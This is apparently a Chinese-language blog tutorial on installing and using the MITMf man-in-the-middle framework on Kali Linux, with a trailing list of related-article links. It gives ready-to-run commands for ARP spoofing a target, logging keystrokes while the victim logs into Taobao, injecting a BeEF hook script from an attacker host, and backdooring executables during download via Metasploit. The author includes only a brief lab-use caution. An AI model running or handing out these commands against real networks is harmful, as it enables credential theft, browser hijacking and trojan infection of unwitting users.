MITMF安裝與使用
MITMF其實就是一個基於python編寫的中間人攻擊的框架,就好比metaspoit一樣,無比強大且但十分易用。下面筆者就給大家介紹一下它有哪些用途,本文具有攻擊性,大家最好在自己的實驗環境中使用。
0x01. MITMF安裝
安裝依賴包以及mitmf,kali下使用如下命令:
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file && apt-get install mitmf
安裝twisted:
pip uninstall twisted && wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2 && pip install ./Twisted-15.5.0.tar.bz2
安裝python-magic:
pip install python-magic && git clone https://github.com/secretsquirrel/the-backdoor-factory.git && cd the-backdoor-factory && ./install.sh
安裝完成,如圖:
0x02. jskeylogger模組
1.啟動MITMF的鍵盤記錄模組(注:有時MITMF不能正常執行,但是筆者訪問了http://127.0.0.1:9999之後卻能執行成功,可能是什麼BUG)
echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.106 --jskeylogger
2.靶機登陸淘寶,檢視效果(這裡編碼出了點問題)
0x03. --js-url模組
1.啟動beef,構造hook(注:beef的賬號密碼都是beef)
2.啟動--js-url模組向目標網頁插入hook程式碼
echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.106 --inject --js-url http://192.168.1.105:3000/hook.js
3.啟動靶機訪問任意頁面,可以看到js 已經注入到頁面當中,玩過beef的都知道它的強大,但是筆者的beef出了點問題,就不給大家演示了,有興趣的可以自己去搜一下
0x04. --filepwn模組
1.啟動msf,載入msgrpc模組
service postgresql start && msfconsole
load msgrpc
2.改寫配置檔案
gedit /usr/share/mitmf/config/mitmf.conf
3.啟動mitmf,開啟filepwn,之後msf會自動載入幾個exp進行偵聽
echo 1 > /proc/sys/net/ipv4/ip_forward && mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.106 --filepwn
4.filepwn的原理就是在靶機下載可執行程式時將木馬插入程式裡,執行程式時就會啟動木馬,所以接下來我用靶機下載一個putty程式
5.之後正常情況下msf應該就能接收到木馬的連線,但是不知道是筆者環境出了問題還是姿勢不對,msf老是報錯,希望有經驗的讀者可以告訴我解決的辦法,謝謝
0x05. 結語
經常遇到玄學問題,可能還是由於自己比較菜,所以希望有大神看到文章之後能夠加群一起探討,一起討論玄學,哈哈。
相關文章
- nacos安裝與使用
- Nginx安裝與使用Nginx
- Redis 安裝與使用Redis
- MONGDB 安裝與使用
- curl 安裝與使用
- Presto安裝與使用REST
- DRF安裝與使用
- PostgresSQL安裝與使用SQL
- PDNN安裝與使用DNN
- RAR安裝與使用
- Sourcetree安裝與使用
- statspack安裝與使用
- Samba安裝與使用Samba
- Docker安裝與使用Docker
- Go 安裝與使用 mqttGoMQQT
- kafka的安裝與使用Kafka
- Zabbix Agent 安裝與使用
- YALMIP安裝與使用整理
- golint 安裝與使用Go
- nvm的安裝與使用
- Kylin安裝與使用
- cocoapods安裝與使用
- protocol buffer 安裝與使用Protocol
- MySQLdb的安裝與使用MySql
- CocoaPods 安裝與使用
- OCLint 安裝與使用
- Supervisor 安裝與使用
- Jenkins安裝與使用Jenkins
- 線上git安裝與使用Git
- DrissionPage的安裝與使用
- PySpark與GraphFrames的安裝與使用Spark
- Memcached安裝與使用例項
- Homebrew 換源安裝與使用
- Linux 安裝Nginx與使用LinuxNginx
- sqoop 安裝與配置使用OOP
- Anaconda的安裝與使用
- AD元件庫安裝與使用元件
- DNSmasq 的安裝、配置與使用DNS